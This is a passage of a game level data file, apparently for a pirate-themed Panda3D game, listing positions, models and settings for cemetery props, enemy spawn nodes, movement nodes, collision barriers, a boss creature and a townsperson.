'models/props/pir_m_prp_cem_headstones_d'}}, '1188505728.0dxschafe9': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-33.83, 1.187, -4.505), 'Objects': {}, 'Pos': Point3(755.925, 173.393, 51.632), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1188510208.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-30.534, 1.326, 0.398), 'Objects': {}, 'Pos': Point3(773.889, 175.047, 52.098), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/crypt1'}}, '1188510208.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(118.82, -0.619, -8.217), 'Pos': Point3(10.159, 20.438, 1.4), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188510720.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(35.699, 0.884, -3.984), 'Objects': {}, 'Pos': Point3(216.404, 249.202, 44.585), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/crypt1'}}, '1188510720.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(8.609, 2.686, -0.876), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188510848.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(35.699, 0.884, -5.694), 'Objects': {}, 'Pos': Point3(234.857, 293.298, 47.182), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/props/crypt2'}}, '1188510848.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 11.728), 'Pos': Point3(8.609, 2.686, -0.876), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188510848.0dxschafe1': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(6.504, 1.298, -3.456), 'Objects': {}, 'Pos': Point3(373.436, 238.32, 58.279), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1188510848.0dxschafe2': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188510976.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-176.307, 0.607, 5.611), 'Objects': {}, 'Pos': Point3(350.365, 235.801, 56.502), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1188510976.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(10.348, 1.18, 0.156), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1190077312.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'gp_moaning', 'AuraFX': 'None', 'Hpr': VBase3(-148.513, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(761.524, 83.167, 52.141), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190077440.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-148.513, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(655.619, 47.647, 52.254), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190077440.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'gp_searching', 'AuraFX': 'None', 'Hpr': VBase3(45.189, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(356.706, 238.682, 57.062), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190077568.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(45.826, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(459.727, 254.731, 65.86), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190077568.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'gp_handdig', 'AuraFX': 'None', 'Hpr': VBase3(114.385, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(196.847, 225.605, 40.65), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190419072.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(6.504, 1.298, -3.456), 'Objects': {}, 'Pos': Point3(365.502, 248.103, 57.797), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_c'}}, '1190419072.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1190419328.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(45.826, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(570.651, 73.221, 59.815), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190419328.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-30.881, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(494.728, 124.295, 68.597), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190419328.0dxschafe1': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-65.928, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(723.649, -10.566, 52.347), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1192835404.89dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(119.4, 18.814, 20.799), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835419.73dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(39.678, 95.147, 5.391), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835481.48dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(80.913, 109.222, 10.555), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835485.66dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(109.749, -31.916, 14.096), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835623.61dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(73.998, 64.292, 2.365), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835627.78dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(80.263, 187.041, 10.217), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835672.72dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(21.869, 175.133, 8.453), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835677.05dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(141.336, 39.272, 26.491), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835815.84dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(339.95, 79.562, 55.947), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835843.34dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(497.027, 82.196, 68.412), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835960.69dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(537.091, 167.459, 63.552), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835969.39dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(622.66, 91.98, 53.691), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836098.34dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(796.392, 95.984, 52.102), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836101.48dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(707.211, 158.562, 52.009), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836111.98dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(648.402, 88.247, 52.175), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836216.88dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(683.748, 108.007, 52.121), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836218.73dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(632.05, 170.85, 52.433), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836221.22dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(545.973, 139.699, 62.569), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836277.2dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(552.937, 33.176, 61.968), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836288.8dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(369.127, 84.058, 58.438), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836393.19dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(222.145, 228.211, 45.549), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836402.67dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(333.486, 249.981, 55.049), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836491.28dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(796.157, 21.406, 52.254), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1219277480.63mtucker': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.424, -5.194, 1.006), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1219277480.71mtucker': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'Hpr': VBase3(0.0, 0.0, 0.0), 'Pos': Point3(6.661, 20.924, 1.096), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1219277509.79mtucker': {'Type': 'Creature', 'Boss': True, 'Boss Name': 'Anonymous', 'Hpr': Point3(0.0, 0.0, 0.0), 'Level': '37', 'Patrol Radius': '12.0000', 'Pos': Point3(-16.545, 41.018, -0.75), 'PoseAnim': '', 'PoseFrame': '', 'Respawns': True, 'Scale': VBase3(1.0, 1.0, 1.0), 'Species': 'Bayou Gator', 'Start State': 'Idle', 'StartFrame': '0', 'VisSize': ''}, '1234402201.22caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-141.363, 0.0, 0.0), 'Pos': Point3(282.608, 36.363, 50.497), 'Scale': VBase3(3.187, 1.276, 2.219), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234402227.47caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(125.57, 0.0, 0.0), 'Pos': Point3(324.301, 51.187, 54.62), 'Scale': VBase3(1.0, 1.0, 1.423), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234487665.61caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-6.796, 0.0, 0.0), 'Pos': Point3(207.028, 250.092, 41.77), 'Scale': VBase3(1.0, 1.0, 2.383), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234487684.68caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-31.235, 0.0, 0.0), 'Pos': Point3(198.023, 253.172, 40.006), 'Scale': VBase3(1.0, 1.0, 2.383), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234488243.32caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(730.269, 178.82, 51.706), 'Scale': VBase3(0.383, 0.383, 0.383), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_sphere'}}, '1234490040.01caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(122.555, 0.0, 0.0), 'Pos': Point3(612.306, -54.09, 53.538), 'Scale': VBase3(1.0, 1.0, 1.927), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234490058.69caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(167.992, 0.0, 0.0), 'Pos': Point3(607.053, -45.649, 53.232), 'Scale': VBase3(1.0, 1.0, 1.927), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234490083.41caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(87.735, 0.0, 0.0), 'Pos': Point3(611.69, -51.657, 53.232), 'Scale': VBase3(1.0, 1.0, 1.927), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234490231.43caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-145.068, 0.0, 0.0), 'Pos': Point3(317.315, 52.378, 53.163), 'Scale': VBase3(1.0, 1.0, 1.739), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234490267.37caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-163.621, 0.0, 0.0), 'Pos': Point3(306.767, 49.75, 51.09), 'Scale': VBase3(2.506, 1.276, 2.219), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234923901.38caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(121.933, 0.0, 0.0), 'Pos': Point3(-50.826, -2.557, -1.54), 'Scale': VBase3(0.535, 1.0, 1.58), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234927037.2caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-1.854, 0.0, 0.0), 'Pos': Point3(566.908, 200.619, 57.09), 'Scale': VBase3(3.865, 1.904, 3.41), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1240280290.34piwanow': {'Type': 'Spawn Node', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(23.199, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(161.683, -58.816, 31.999), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1240280337.58piwanow': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(129.942, -23.621, 23.641), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1240280362.33piwanow': {'Type': 'Movement Node', 'Hpr': VBase3(341.565, 0.0, 0.0), 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(162.96, 8.234, 32.199), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1245869169.58piwanow': {'Type': 'Searchable Container', 'Aggro Radius': '5.0000', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(615.403, -48.967, 54.824), 'Scale': VBase3(0.8, 0.8, 0.8), 'VisSize': '', 'Visual': {'Color': (1.0, 1.0, 1.0, 1.0), 'Model': 'models/props/barrel'}, 'searchTime': '6.0', 'type': 'Barrel'}, '1245869277.98piwanow': {'Type': 'Searchable Container', 'Aggro Radius': '5.0000', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(529.016, -53.608, 64.943), 'Scale': VBase3(0.8, 0.8, 0.8), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel'}, 'searchTime': '6.0', 'type': 'Barrel'}, '1248385408.0jloehrle0': {'Type': 'Spawn Node', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': Point3(0.0, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(495.864, -6.778, 68.358), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Wasp T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1248385408.0jloehrle1': {'Type': 'Spawn Node', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': Point3(0.0, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(482.162, 37.461, 67.625), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Wasp T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1251250432.02caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(150.453, 0.0, 0.0), 'Pos': Point3(697.953, -69.518, 47.43), 'Scale': VBase3(1.624, 1.0, 3.193), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1276203346.38robrusso': {'Type': 'Player Spawn Node', 'Hpr': VBase3(150.642, 0.0, 0.0), 'Index': 26, 'Pos': Point3(433.327, 345.009, 63.415), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1261096000.76laura': {'Type': 'Townsperson', 'Category': 'Cannonmaster', 'AnimSet': 'default', 'AuraFX': 'None', 'CustomModel': 'None', 'DNA': '1261096000.76laura', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 'HelpID': 'NONE', 'Holiday': '', 'Hpr': VBase3(153.435, 0.0, 0.0), 'Instanced World': 'PortRoyalCannonWorld', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(429.0, 350.0, 63.034), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Requires Quest Interest': False, 'Respawns': True, 'Scale': VBase3(1.0, 1.0, 1.0), 'ShopID': 'TORTUGA_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Player', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1266424598.48Bill': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1266424598.48Bill0', 'Holiday': '', 'Hpr': VBase3(333.435, 0.0, 0.0), 'Objects': {'1266424598.5Bill': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-0.819, -13.822, 1.347), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1267224626.04Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(-16.728, -12.753, 1.26), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/props/cannon_stack_02'}}, '1267224687.18Bill': {'Type': 'Barrel', 'DisableCollision': False, 'Holiday': '', 